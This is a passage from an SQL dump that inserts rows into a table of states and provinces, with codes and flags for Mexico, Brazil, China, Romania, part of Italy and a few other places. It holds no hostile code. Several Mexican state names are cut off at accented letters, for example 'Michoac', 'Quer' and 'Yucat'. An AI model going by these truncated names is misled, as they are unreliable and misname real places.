'0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 138, 0, 'Distrito Federal', 'DFM', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 138, 0, 'Durango', 'DGO', 'DO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 138, 0, 'Guanajuato', 'GTO', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (88, 1, 138, 0, 'Guerrero', 'GRO', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 138, 0, 'Hidalgo', 'HGO', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 138, 0, 'Jalisco', 'JAL', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (91, 1, 138, 0, 'M', 'EDM', 'EM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 138, 0, 'Michoac', 'MCN', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 138, 0, 'Morelos', 'MOR', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 138, 0, 'Nayarit', 'NAY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (95, 1, 138, 0, 'Nuevo Le', 'NUL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 138, 0, 'Oaxaca', 'OAX', 'OA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 138, 0, 'Puebla', 'PUE', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 138, 0, 'Quer', 'QRO', 'QU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (99, 1, 138, 0, 'Quintana Roo', 'QUR', 'QR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 138, 0, 'San Luis Potos', 'SLP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (101, 1, 138, 0, 'Sinaloa', 'SIN', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 138, 0, 'Sonora', 'SON', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (103, 1, 138, 0, 'Tabasco', 'TAB', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (104, 1, 138, 0, 'Tamaulipas', 'TAM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 138, 0, 'Tlaxcala', 'TLX', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 138, 0, 'Veracruz', 'VER', 'VZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 138, 0, 'Yucat', 'YUC', 'YU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 138, 0, 'Zacatecas', 'ZAC', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 30, 0, 'Acre', 'ACR', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 30, 0, 'Alagoas', 'ALG', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 30, 0, 'Amapá', 'AMP', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 30, 0, 'Amazonas', 'AMZ', 'AM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 30, 0, 'Bahía', 'BAH', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 30, 0, 'Ceará', 'CEA', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (115, 1, 30, 0, 'Distrito Federal', 'DFB', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 30, 0, 'Espírito Santo', 'ESS', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 30, 0, 'Goiás', 'GOI', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 30, 0, 'Maranhão', 'MAR', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 30, 0, 'Mato Grosso', 'MAT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 30, 0, 'Mato Grosso do Sul', 'MGS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 30, 0, 'Minas Gerais', 'MIG', 'MG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 30, 0, 'Paraná', 'PAR', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (123, 1, 30, 0, 'Paraíba', 'PRB', 'PB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 30, 0, 'Pará', 'PAB', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 30, 0, 'Pernambuco', 'PER', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 30, 0, 'Piauí', 'PIA', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 30, 0, 'Rio Grande do Norte', 'RGN', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 30, 0, 'Rio Grande do Sul', 'RGS', 'RS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (129, 1, 30, 0, 'Rio de Janeiro', 'RDJ', 'RJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 30, 0, 'Rondônia', 'RON', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 30, 0, 'Roraima', 'ROR', 'RR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 30, 0, 'Santa Catarina', 'SAC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 30, 0, 'Sergipe', 'SER', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 30, 0, 'São Paulo', 'SAP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 30, 0, 'Tocantins', 'TOC', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 44, 0, 'Anhui', 'ANH', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 44, 0, 'Beijing', 'BEI', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (138, 1, 44, 0, 'Chongqing', 'CHO', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 44, 0, 'Fujian', 'FUJ', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 44, 0, 'Gansu', 'GAN', '62', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 44, 0, 'Guangdong', 'GUA', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 44, 0, 'Guangxi Zhuang', 'GUZ', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (143, 1, 44, 0, 'Guizhou', 'GUI', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 44, 0, 'Hainan', 'HAI', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (145, 1, 44, 0, 'Hebei', 'HEB', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (146, 1, 44, 0, 'Heilongjiang', 'HEI', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 44, 0, 'Henan', 'HEN', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 44, 0, 'Hubei', 'HUB', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 44, 0, 'Hunan', 'HUN', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (150, 1, 44, 0, 'Jiangsu', 'JIA', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 44, 0, 'Jiangxi', 'JIX', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 44, 0, 'Jilin', 'JIL', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 44, 0, 'Liaoning', 'LIA', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 44, 0, 'Nei Mongol', 'NML', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (155, 1, 44, 0, 'Ningxia Hui', 'NIH', '64', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 44, 0, 'Qinghai', 'QIN', '63', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (157, 1, 44, 0, 'Shandong', 'SNG', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 44, 0, 'Shanghai', 'SHH', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 44, 0, 'Shaanxi', 'SHX', '61', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 44, 0, 'Sichuan', 'SIC', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 44, 0, 'Tianjin', 'TIA', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 44, 0, 'Xinjiang Uygur', 'XIU', '65', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 44, 0, 'Xizang', 'XIZ', '54', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 44, 0, 'Yunnan', 'YUN', '53', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 44, 0, 'Zhejiang', 'ZHE', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 104, 0, 'Israel', 'ISL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 104, 0, 'Gaza Strip', 'GZS', 'GZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 104, 0, 'West Bank', 'WBK', 'WB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 151, 0, 'St. Maarten', 'STM', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 151, 0, 'Bonaire', 'BNR', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 151, 0, 'Curacao', 'CUR', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 175, 0, 'Alba', 'ABA', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 175, 0, 'Arad', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 175, 0, 'Arges', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 175, 0, 'Bacau', 'BAC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 175, 0, 'Bihor', 'BIH', 'BH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 175, 0, 'Bistrita-Nasaud', 'BIS', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 175, 0, 'Botosani', 'BOT', 'BT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 175, 0, 'Braila', 'BRL', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 175, 0, 'Brasov', 'BRA', 'BV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 175, 0, 'Bucuresti', 'BUC', 'B', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 175, 0, 'Buzau', 'BUZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 175, 0, 'Calarasi', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 175, 0, 'Caras Severin', 'CRS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 175, 0, 'Cluj', 'CLJ', 'CJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 175, 0, 'Constanta', 'CST', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 175, 0, 'Covasna', 'COV', 'CV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 175, 0, 'Dambovita', 'DAM', 'DB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 175, 0, 'Dolj', 'DLJ', 'DJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 175, 0, 'Galati', 'GAL', 'GL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 175, 0, 'Giurgiu', 'GIU', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 175, 0, 'Gorj', 'GOR', 'GJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 175, 0, 'Hargita', 'HRG', 'HR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 175, 0, 'Hunedoara', 'HUN', 'HD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 175, 0, 'Ialomita', 'IAL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 175, 0, 'Iasi', 'IAS', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 175, 0, 'Ilfov', 'ILF', 'IF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 175, 0, 'Maramures', 'MAR', 'MM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 175, 0, 'Mehedinti', 'MEH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 175, 0, 'Mures', 'MUR', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 175, 0, 'Neamt', 'NEM', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (202, 1, 175, 0, 'Olt', 'OLT', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (203, 1, 175, 0, 'Prahova', 'PRA', 'PH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (204, 1, 175, 0, 'Salaj', 'SAL', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (205, 1, 175, 0, 'Satu Mare', 'SAT', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (206, 1, 175, 0, 'Sibiu', 'SIB', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (207, 1, 175, 0, 'Suceava', 'SUC', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (208, 1, 175, 0, 'Teleorman', 'TEL', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (209, 1, 175, 0, 'Timis', 'TIM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (210, 1, 175, 0, 'Tulcea', 'TUL', 'TL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (211, 1, 175, 0, 'Valcea', 'VAL', 'VL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (212, 1, 175, 0, 'Vaslui', 'VAS', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (213, 1, 175, 0, 'Vrancea', 'VRA', 'VN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (214, 1, 105, 0, 'Agrigento', 'AGR', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (215, 1, 105, 0, 'Alessandria', 'ALE', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (216, 1, 105, 0, 'Ancona', 'ANC', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (217, 1, 105, 0, 'Aosta', 'AOS', 'AO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (218, 1, 105, 0, 'Arezzo', 'ARE', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (219, 1, 105, 0, 'Ascoli Piceno', 'API', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (220, 1, 105, 0, 'Asti', 'AST', 'AT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (221, 1, 105, 0, 'Avellino', 'AVE', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (222, 1, 105, 0, 'Bari', 'BAR', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (223, 1, 105, 0, 'Belluno', 'BEL', 'BL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (224, 1, 105, 0, 'Benevento', 'BEN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (225, 1, 105, 0, 'Bergamo', 'BEG', 'BG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (226, 1, 105, 0, 'Biella', 'BIE', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (227, 1, 105, 0, 'Bologna', 'BOL', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (228, 1, 105, 0, 'Bolzano', 'BOZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (229, 1, 105, 0, 'Brescia', 'BRE', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (230, 1, 105, 0, 'Brindisi', 'BRI', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (231, 1, 105, 0, 'Cagliari', 'CAG', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (232, 1, 105, 0, 'Caltanissetta', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (233, 1, 105, 0, 'Campobasso', 'CBO', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (234, 1, 105, 0, 'Carbonia-Iglesias', 'CAR', 'CI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (235, 1, 105, 0, 'Caserta', 'CAS', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (236, 1, 105, 0, 'Catania', 'CAT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (237, 1, 105, 0, 'Catanzaro', 'CTZ', 'CZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (238, 1, 105, 0, 'Chieti', 'CHI', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (239, 1, 105, 0, 'Como', 'COM', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (240, 1, 105, 0, 'Cosenza', 'COS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (241, 1, 105, 0, 'Cremona', 'CRE', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (242, 1, 105, 0, 'Crotone', 'CRO', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (243, 1, 105, 0, 'Cuneo', 'CUN', 'CN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (244, 1, 105, 0, 'Enna', 'ENN', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (245, 1, 105, 0, 'Ferrara', 'FER', 'FE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (246, 1, 105, 0, 'Firenze', 'FIR', 'FI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (247, 1, 105, 0, 'Foggia', 'FOG', 'FG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (248, 1, 105, 0, 'Forli-Cesena', 'FOC', 'FC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (249, 1, 105, 0, 'Frosinone', 'FRO', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, 